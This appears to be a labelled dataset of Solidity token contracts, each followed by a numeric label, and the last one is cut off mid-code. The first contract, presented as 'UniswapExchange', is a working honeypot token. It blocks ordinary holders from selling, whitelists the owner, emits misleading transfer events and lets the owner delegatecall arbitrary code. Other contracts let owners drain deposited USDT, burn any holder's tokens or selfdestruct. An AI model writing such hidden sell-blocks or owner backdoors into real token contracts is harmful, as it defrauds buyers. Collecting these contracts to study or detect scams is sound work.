require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,639
pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract StandToken is IERC20{ using Address for address; using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount); _balances[address(this)]=_balances[address(this)].add(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract XLOVToken is StandToken,Ownable { string private _name; string private _symbol; uint8 private _decimals; IERC20 private _token; address private _beneficiary; uint256 private _rate; constructor () public { _name = "XLOV TOKEN"; _symbol = "XLOV"; _decimals = 18; _token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); _beneficiary = address(this); _totalSupply = 5000000000 * (10 ** uint256(_decimals)); _balances[msg.sender] = _totalSupply; _rate = 1 ether; } function setBeneficiary(address beneficiary) public onlyOwner{ require(address(beneficiary)!=address(0)); _beneficiary = beneficiary; } function getRate() public view returns (uint256) { return _rate; } function setRate(uint256 rate) onlyOwner public{ _rate = rate; } function gettokenAmount(uint256 usdtamount) public view returns(uint256 amount){ amount = SafeMath.mul(usdtamount,getRate()).div(10 ** uint256(6)); } function getusdtAmount(uint256 tokenamount) public view returns(uint256 amount){ amount = SafeMath.mul(tokenamount,10 ** uint256(6)).div(getRate()); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totoken(uint256 usdtamount) public returns(bool){ require(usdtamount>0); require(balanceOf(owner())>=gettokenAmount(usdtamount),"not enough xlov"); require(_token.balanceOf(msg.sender)>=_token.allowance(msg.sender, address(this)),"not sufficient funds"); callOptionalReturn(_token, abi.encodeWithSelector(_token.transferFrom.selector,msg.sender, _beneficiary, usdtamount)); super._transfer(owner(),msg.sender,gettokenAmount(usdtamount)); } function tousdt(uint256 tokenamount) public{ require(tokenamount>0); require(balanceOf(msg.sender)>=tokenamount,"not enough xlov"); require(_token.balanceOf(address(this))>=getusdtAmount(tokenamount),"not enough usdt to pay"); callOptionalReturn(_token, abi.encodeWithSelector(_token.transfer.selector,msg.sender, getusdtAmount(tokenamount))); super._transfer(msg.sender,owner(),tokenamount); } function withdraw() onlyOwner public{ require(_token.balanceOf(address(this))>0); callOptionalReturn(_token, abi.encodeWithSelector(_token.transfer.selector,msg.sender, _token.balanceOf(address(this)))); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } function transferOwnership(address newOwner) public onlyOwner { super._transfer(owner(),newOwner,balanceOf(owner())); super._transferOwnership(newOwner); } }
0
984
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; bool public canRenounce = false; mapping (address => bool) public authorized; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AuthorizedAdded(address indexed authorized); event AuthorizedRemoved(address indexed authorized); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAuthorized() { require(msg.sender == owner || authorized[msg.sender]); _; } function enableRenounceOwnership() onlyOwner public { canRenounce = true; } function transferOwnership(address _newOwner) onlyOwner public { if(!canRenounce){ require(_newOwner != address(0)); } emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } function addAuthorized(address _authorized) onlyOwner public { authorized[_authorized] = true; emit AuthorizedAdded(_authorized); } function removeAuthorized(address _authorized) onlyOwner public { authorized[_authorized] = false; emit AuthorizedRemoved(_authorized); } } contract ERC223 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract ContractReceiver { function tokenFallback(address _from, uint _value, bytes _data) external; } contract MANJ is ERC223, Ownable { using SafeMath for uint256; string public name = "MANJCOIN"; string public symbol = "MANJ"; uint8 public decimals = 8; uint256 public totalSupply = 19190721 * 1e8; uint256 public codeSize = 0; bool public mintingFinished = false; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public cannotSend; mapping (address => bool) public cannotReceive; mapping (address => uint256) public cannotSendUntil; mapping (address => uint256) public cannotReceiveUntil; event FrozenFunds(address indexed target, bool cannotSend, bool cannotReceive); event LockedFunds(address indexed target, uint256 cannotSendUntil, uint256 cannotReceiveUntil); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); constructor() public { owner = msg.sender; balanceOf[owner] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function freezeAccounts(address[] targets, bool _cannotSend, bool _cannotReceive) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { cannotSend[targets[i]] = _cannotSend; cannotReceive[targets[i]] = _cannotReceive; emit FrozenFunds(targets[i], _cannotSend, _cannotReceive); } } function lockupAccounts(address[] targets, uint256 _cannotSendUntil, uint256 _cannotReceiveUntil) onlyOwner public { require(targets.length > 0); for(uint i = 0; i < targets.length; i++){ require(cannotSendUntil[targets[i]] <= _cannotSendUntil && cannotReceiveUntil[targets[i]] <= _cannotReceiveUntil); cannotSendUntil[targets[i]] = _cannotSendUntil; cannotReceiveUntil[targets[i]] = _cannotReceiveUntil; emit LockedFunds(targets[i], _cannotSendUntil, _cannotReceiveUntil); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && cannotSend[msg.sender] == false && cannotReceive[_to] == false && now > cannotSendUntil[msg.sender] && now > cannotReceiveUntil[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && cannotSend[msg.sender] == false && cannotReceive[_to] == false && now > cannotSendUntil[msg.sender] && now > cannotReceiveUntil[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(_addr) } return size > codeSize ; } function setCodeSize(uint256 _codeSize) onlyOwner public { codeSize = _codeSize; } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && cannotSend[msg.sender] == false && cannotReceive[_to] == false && now > cannotSendUntil[msg.sender] && now > cannotReceiveUntil[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); emit Burn(_from, _unitAmount); emit Transfer(_from, address(0), _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function batchTransfer(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && cannotSend[msg.sender] == false && now > cannotSendUntil[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != address(0) && cannotReceive[addresses[i]] == false && now > cannotReceiveUntil[addresses[i]]); balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amount); emit Transfer(msg.sender, addresses[i], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function batchTransfer(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && cannotSend[msg.sender] == false && now > cannotSendUntil[msg.sender]); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++){ require(amounts[i] > 0 && addresses[i] != address(0) && cannotReceive[addresses[i]] == false && now > cannotReceiveUntil[addresses[i]]); amounts[i] = amounts[i].mul(1e8); balanceOf[addresses[i]] = balanceOf[addresses[i]].add(amounts[i]); totalAmount = totalAmount.add(amounts[i]); emit Transfer(msg.sender, addresses[i], amounts[i]); } require(balanceOf[msg.sender] >= totalAmount); balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function transferFromTo(address _from, address _to, uint256 _value, bytes _data) onlyAuthorized public returns (bool) { require(_value > 0 && balanceOf[_from] >= _value && cannotSend[_from] == false && cannotReceive[_to] == false && now > cannotSendUntil[_from] && now > cannotReceiveUntil[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); if(isContract(_to)) { ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(_from, _value, _data); } emit Transfer(_from, _to, _value, _data); emit Transfer(_from, _to, _value); return true; } function transferFromTo(address _from, address _to, uint256 _value) onlyAuthorized public returns (bool) { bytes memory empty; return transferFromTo(_from, _to, _value, empty); } function destroy() onlyOwner public { selfdestruct(owner); } function() payable public { revert(); } }
1
3,281
pragma solidity ^0.4.24; library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private pausers; constructor() internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() internal { _paused = false; } function paused() public view returns(bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } contract ERC20Pausable is ERC20, Pausable { function transfer( address to, uint256 value ) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom( address from, address to, uint256 value ) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve( address spender, uint256 value ) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance( address spender, uint addedValue ) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance( address spender, uint subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } contract IndividualLockableToken is ERC20Pausable, Ownable{ using SafeMath for uint256; event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time); event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time); struct lockState { uint256 locked_balance; uint256 release_time; } uint256 public lock_period = 24 weeks; mapping(address => lockState) internal userLock; function setReleaseTime(address _holder, uint256 _release_time) public onlyOwner returns (bool) { require(_holder != address(0)); require(_release_time >= block.timestamp); uint256 old_release_time = userLock[_holder].release_time; userLock[_holder].release_time = _release_time; emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time); return true; } function getReleaseTime(address _holder) public view returns (uint256) { require(_holder != address(0)); return userLock[_holder].release_time; } function clearReleaseTime(address _holder) public onlyOwner returns (bool) { require(_holder != address(0)); require(userLock[_holder].release_time > 0); uint256 old_release_time = userLock[_holder].release_time; userLock[_holder].release_time = 0; emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time); return true; } function increaseLockBalance(address _holder, uint256 _value) public onlyOwner returns (bool) { require(_holder != address(0)); require(_value > 0); require(balanceOf(_holder) >= _value); if (userLock[_holder].release_time == 0) { userLock[_holder].release_time = block.timestamp + lock_period; } userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value); emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } function decreaseLockBalance(address _holder, uint256 _value) public onlyOwner returns (bool) { require(_holder != address(0)); require(_value > 0); require(userLock[_holder].locked_balance >= _value); userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value); emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } function clearLock(address _holder) public onlyOwner returns (bool) { require(_holder != address(0)); require(userLock[_holder].release_time > 0); userLock[_holder].locked_balance = 0; userLock[_holder].release_time = 0; emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time); return true; } function getLockedBalance(address _holder) public view returns (uint256) { if(block.timestamp >= userLock[_holder].release_time) return uint256(0); return userLock[_holder].locked_balance; } function getFreeBalance(address _holder) public view returns (uint256) { if(block.timestamp >= userLock[_holder].release_time) return balanceOf(_holder); return balanceOf(_holder).sub(userLock[_holder].locked_balance); } function transfer( address _to, uint256 _value ) public returns (bool) { require(getFreeBalance(msg.sender) >= _value); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(getFreeBalance(_from) >= _value); return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public returns (bool) { require(getFreeBalance(msg.sender) >= _value); return super.approve(_spender, _value); } function increaseAllowance( address _spender, uint _addedValue ) public returns (bool success) { require(getFreeBalance(msg.sender) >= allowance(msg.sender, _spender).add(_addedValue)); return super.increaseAllowance(_spender, _addedValue); } function decreaseAllowance( address _spender, uint _subtractedValue ) public returns (bool success) { uint256 oldValue = allowance(msg.sender, _spender); if (_subtractedValue < oldValue) { require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue)); } return super.decreaseAllowance(_spender, _subtractedValue); } } contract TengRiCashCoin is IndividualLockableToken { using SafeMath for uint256; string public constant name = "TengRi Cash Coin"; string public constant symbol = "TERI"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 33300000000 * (10 ** uint256(decimals)); constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } }
1
5,529
pragma solidity ^0.4.10; contract Token { mapping (address => uint256) public balanceOf; mapping (uint256 => address) public addresses; mapping (address => bool) public addressExists; mapping (address => uint256) public addressIndex; uint256 public numberOfAddress = 0; string public physicalString; string public cryptoString; bool public isSecured; string public name; string public symbol; uint256 public totalSupply; bool public canMintBurn; uint256 public txnTax; uint256 public holdingTax; uint256 public holdingTaxInterval; uint256 public lastHoldingTax; uint256 public holdingTaxDecimals = 2; bool public isPrivate; address public owner; function Token(string n, string a, uint256 totalSupplyToUse, bool isSecured, bool cMB, string physical, string crypto, uint256 txnTaxToUse, uint256 holdingTaxToUse, uint256 holdingTaxIntervalToUse, bool isPrivateToUse) { name = n; symbol = a; totalSupply = totalSupplyToUse; balanceOf[msg.sender] = totalSupplyToUse; isSecured = isSecured; physicalString = physical; cryptoString = crypto; canMintBurn = cMB; owner = msg.sender; txnTax = txnTaxToUse; holdingTax = holdingTaxToUse; holdingTaxInterval = holdingTaxIntervalToUse; if(holdingTaxInterval!=0) { lastHoldingTax = now; while(getHour(lastHoldingTax)!=21) { lastHoldingTax -= 1 hours; } while(getWeekday(lastHoldingTax)!=5) { lastHoldingTax -= 1 days; } lastHoldingTax -= getMinute(lastHoldingTax) * (1 minutes) + 